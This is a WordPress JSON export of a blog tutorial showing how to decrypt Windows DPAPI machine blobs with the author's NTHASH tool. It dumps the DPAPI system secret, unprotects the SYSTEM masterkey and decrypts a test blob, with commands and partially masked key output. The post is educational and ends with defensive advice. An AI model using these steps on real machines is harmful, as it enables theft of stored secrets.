{"id":2257,"date":"2020-01-03T21:46:11","date_gmt":"2020-01-03T20:46:11","guid":{"rendered":"http:\/\/labalec.fr\/erwan\/?p=2257"},"modified":"2020-01-27T14:19:49","modified_gmt":"2020-01-27T13:19:49","slug":"nthash-and-dpapi-secrets-2-2","status":"publish","type":"post","link":"https:\/\/labalec.fr\/erwan\/?p=2257","title":{"rendered":"nthash and dpapi secrets #3"},"content":{"rendered":"<p>In previous articles, we have seen how to decrypt user blobs and system blobs.<\/p>\n<p>Lets now have a look at machine blobs : a blob which can be decrypted by any user provided it is decrypted on the same machine &#8211; as opposed to user blobs which can only be decrypted by the user.<\/p>\n<p>5 steps:<br \/>\n-lets encrypt a blob<br \/>\n-lets decode the encrypted machine blob<br \/>\n-lets retrieve the dpapy system key &#038; decrypt the masterkey<br \/>\n-lets decrypt the encrypted machine blob<br \/>\n-conclusion<\/p>\n<p>1\/lets encrypt a blob<\/p>\n<p>Lets encrypt a string = password<\/p>\n<p><strong>NTHASH-win64.exe \/cryptprotectdata \/input:password \/mode:MACHINE<\/strong><\/p>\n<p>2\/lets decode the encrypted machine blob<\/p>\n<p><strong>NTHASH-win64.exe \/decodeblob \/data.blob<\/strong><\/p>\n<p>->note dwflags=4=machine<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i.imgur.com\/U52EJFK.png\" alt=\"\" \/><\/p>\n<p>3\/lets retrieve the dpapy system key &#038; decrypt the masterkey<\/p>\n<p><strong>NTHASH-win64.exe \/dumpsecret \/input:dpapi_system \/system<\/strong><br \/>\nNTHASH 1.7 x64 by erwan2212@gmail.com<br \/>\nImpersonate:Syst?me<br \/>\nFull:xx3CA961B1DCExxDF06CB359D981C1A3EB1D47xxxx398A7D34786F8DxxC152F318A4EDFFAxx<br \/>\n2F73F<br \/>\nMachine:xx3CA961B1DCExxDF06CB359D981C1A3EB1D47xx<br \/>\nUser:xx398A7D34786F8DxxC152F318A4EDFFAF02F7xx<\/p>\n<p><strong>NTHASH-win64.exe \/decodemk<br \/>\n\/binary:C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\90d6942d-4f31-4638-b756-d11efa906e52<br \/>\n\/input:xx398A7D34786F8DxxC152F318A4EDFFAF02F7xx<\/strong><br \/>\n**** Unprotecting MasterKey ****<br \/>\nKEY:xx99D247D53699114CA06378DB77E4xxDD08A6BABBDB5277EB59C8309DBA8AA8B2D4C7990052<br \/>\n5F2FEE3909AC3894931093DxxD4BED96484791E2DCF512EB38E7<br \/>\nSHA1:xx017C46F5651Bxx27831F87050694FAD1B4DBxx<\/p>\n<p>4\/lets decrypt the encrypted machine blob<\/p>\n<p><strong>nthash-win64 \/decodeblob \/binary:data.blob \/input:54017C46F5651B9627831F87050694FAD1B4DB31<\/strong><br \/>\nNTHASH 1.7 x64 by erwan2212@gmail.com<br \/>\n**** Unprotecting Blob ****<br \/>\nBlob:70617373776F7264<\/p>\n<p>70617373776F7264 is hexa form of password<\/p>\n<p>5\/conclusion<\/p>\n<p>Similar to system blobs, once you have the dpapi system key, it is rather trivial to decrypt such blob.<br \/>\nFurthermore, it is not recommanded to use machine blobs to store secrets as any user on that machine will be able to decrypt it.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In previous articles, we have seen how to decrypt user blobs and system blobs. Lets now have a look at machine blobs : a blob which can be decrypted by any user provided it is decrypted on the same machine &#8211; as opposed to user blobs which can only be decrypted by the user. 5 <a href='https:\/\/labalec.fr\/erwan\/?p=2257' class='excerpt-more'>[&#8230;]<\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[118],"tags":[],"class_list":["post-2257","post","type-post","status-publish","format-standard","hentry","category-nthash","category-118-id","post-seq-1","post-parity-odd","meta-position-corners","fix"],"_links":{"self":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2257","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2257"}],"version-history":[{"count":9,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2257\/revisions"}],"predecessor-version":[{"id":2285,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2257\/revisions\/2285"}],"wp:attachment":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2257"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2257"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2257"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}